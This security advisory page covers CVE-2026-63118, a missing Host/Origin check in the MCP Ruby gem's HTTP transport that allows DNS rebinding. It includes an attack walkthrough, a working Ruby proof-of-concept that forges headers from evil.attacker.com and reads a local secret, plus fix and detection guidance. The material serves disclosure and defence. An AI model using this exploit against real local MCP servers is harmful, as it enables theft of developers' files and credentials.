CVE-2026-63118: MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection
The MCP Ruby SDK's Streamable HTTP transport never checks the Host or Origin header, so a web page can use DNS rebinding to reach an MCP server running on a developer's machine and call its tools. Gem mcp up to 0.22.0 is affected. Upgrade to 0.23.0, which turns on rebinding protection by default.
Published Jul 30, 2026 · Analysis Oct 25, 2026
What an attacker can do
StreamableHTTPTransport in lib/mcp/server/transports/streamable_http_transport.rb validates Accept, Content-Type, Mcp-Session-Id and Mcp-Protocol-Version, and nothing else. A search of lib/ finds no read of HTTP_HOST or HTTP_ORIGIN and no allowlist. Rack::Cors in the examples is app glue, and CORS does not stop a rebinding attack, which arrives as same-origin after the DNS answer changes.
The attack: a victim opens a malicious page, say evil.attacker.com. The attacker's DNS then answers 127.0.0.1 for that name. The page posts initialize with Host: evil.attacker.com, receives an Mcp-Session-Id, then posts tools/call and reads the output.
The reporter proved this on gem 0.18.0 with a tool returning a secret: a forged Host and Origin got a session and the secret, with HTTP 200 and no 403. The attacker's reach is whatever tools the local server exposes. For filesystem, shell or credential tools that means local data theft and possibly local actions. The attack needs only that the victim visit the page while the server listens on a loopback or LAN port.
Who is affected
mcp gem up to and including 0.22.0 (the PoC used 0.18.0), for servers that mount StreamableHTTPTransport as a Rack app on a local or LAN port. Servers on stdio only are not affected by this bug.
bundle list | grep mcp
gem list mcpmcp
- Ecosystem
- RubyGems
- Affected
- <= 0.22.0
- Fixed in
- 0.23.0
- Check
bundle info mcp
How to fix it
Upgrade to mcp 0.23.0:
bundle update mcpThe fix adds three constructor options to StreamableHTTPTransport: allowed_hosts:, allowed_origins: and dns_rebinding_protection: (default true). Loopback hosts 127.0.0.1, ::1 and localhost are always allowed. Requests with a non-matching Host or Origin get HTTP 403, with Forbidden: Invalid Host header or Forbidden: Invalid Origin header. A missing Origin is allowed, so non-browser clients still work.
This is a breaking change for deployments behind a reverse proxy or on a non-loopback interface. Pass your public names, for example allowed_hosts: ["mcp.example.com"], or set dns_rebinding_protection: false only if a proxy validates these headers.
How to tell if you were hit
Check web server or proxy logs for requests to the MCP port carrying a Host header that is not localhost, 127.0.0.1 or your known hostname, and an Origin from a web site. A new Mcp-Session-Id created by such a request, followed by tools/call, is the pattern in the proof of concept. In browser history, look for unfamiliar pages visited while the local server was running. After upgrading, rejected requests return 403 with the Invalid Host or Invalid Origin message, which shows attempts. Beam records agent MCP tool calls, which covers tool use when an agent is the client.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.
Impact
- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on
localhost). - Because the transport issues a session and dispatches
tools/list/tools/callfrom a foreignHost/Originwith no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin. - The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.
Vulnerable code
File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).
The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:
# call(env) -> handle_request(Rack::Request.new(env)) (line 56)
def handle_post(request)
required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
accept_error = validate_accept_header(request, required_types) # line 335 - checks Accept only
return accept_error if accept_error
content_type_error = validate_content_type(request) # line 338 - checks Content-Type only
return content_type_error if content_type_error
body_string = request.body.read
session_id = extract_session_id(request) # line 342 - reads HTTP_MCP_SESSION_IDNo statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].
The only request-env reads in the whole class are:
extract_session_id->request.env["HTTP_MCP_SESSION_ID"](line 489)validate_accept_header->request.env["HTTP_ACCEPT"](line 493)validate_content_type->request.env["CONTENT_TYPE"](line 512)validate_protocol_version_header->request.env["HTTP_MCP_PROTOCOL_VERSION"](line 546)
A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.
How the input reaches the sink (attack scenario)
- A developer runs an MCP server over
StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN). - The victim opens
http://evil.attacker.comin a browser. The page resolves to the attacker's server, which then re-answers DNS forevil.attacker.comwith127.0.0.1(DNS rebinding). The browser now treats requests toevil.attacker.comas going to the local MCP server, withHost: evil.attacker.com/Origin: http://evil.attacker.com. - The page POSTs an
initializerequest. The transport accepts it (it never looks atHost/Origin), creates a session, and returnsMcp-Session-Id. - The page then POSTs
tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.
Proof of concept (end-to-end reproduction)
Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).
Install:
gem install mcp -v 0.18.0 # pulls addressable, json-schema, public_suffix
gem install rack # required by StreamableHTTPTransportPoC (poc_f1_dnsrebind.rb):
# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"
puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts
# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end
server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last
def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
body = JSON.generate(body_hash)
env = {
"REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
"HTTP_HOST" => host, # attacker-controlled Host (DNS-rebind primary vector)
"HTTP_ORIGIN" => origin, # attacker-controlled Origin (cross-origin browser vector)
"HTTP_ACCEPT" => "application/json, text/event-stream",
"CONTENT_TYPE" => "application/json",
"rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
}
env["HTTP_MCP_SESSION_ID"] = session_id if session_id
env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
status, headers, resp = transport.call(env)
collected = +""
if resp.respond_to?(:each)
resp.each { |c| collected << c.to_s }
elsif resp.respond_to?(:call) # stateful tools/call returns an SSE-stream Proc body
sink = Object.new
sink.define_singleton_method(:write) { |s| collected << s.to_s }
sink.define_singleton_method(:flush) {}
sink.define_singleton_method(:close) {}
resp.call(sink)
end
[status, headers, collected]
end
puts "========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status : #{status}"
puts "[initialize] Mcp-Session-Id : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body : #{body}"
session = headers["Mcp-Session-Id"]
call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status : #{status2}"
puts "[tools/call] response body : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts
puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status : #{status3}"
puts "[initialize] Mcp-Session-Id : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."Captured output (verbatim):
mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]
========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ==========
[initialize] HTTP status : 200
[initialize] Mcp-Session-Id : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status : 200
[tools/call] response body : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}
ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.
========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status : 200
[initialize] Mcp-Session-Id : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"
CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.
Suggested fix
Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:
- Accept
allowed_hosts:andallowed_origins:keyword arguments ininitialize. - In
handle_request(before any dispatch), readrequest.env["HTTP_HOST"]andrequest.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return403 Forbidden. - Default to allowing only loopback hosts (
127.0.0.1,[::1],localhost) and an empty/absentOrigin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.
A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.
Fix PR
A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).
Credit
Reported by tonghuaroot.
Reporter notes
This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.
Credited to tonghuaroot, dodge1218, hewei-gikaku.
Questions
- Does this affect an MCP server bound only to 127.0.0.1?
Yes. DNS rebinding makes the browser send requests to the loopback address under the attacker's hostname, and the pre-0.23.0 transport accepted any Host or Origin.
- Will upgrading to 0.23.0 break my reverse-proxy deployment?
It can. Non-loopback Host and cross-origin Origin values are rejected by default. Add your hostnames to allowed_hosts and allowed_origins, or disable the check if a proxy already validates them.
- Is a stdio MCP server affected by CVE-2026-63118?
No. This is about the HTTP transport. Stdio servers have no Host or Origin header; they have a separate unbounded line read issue.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
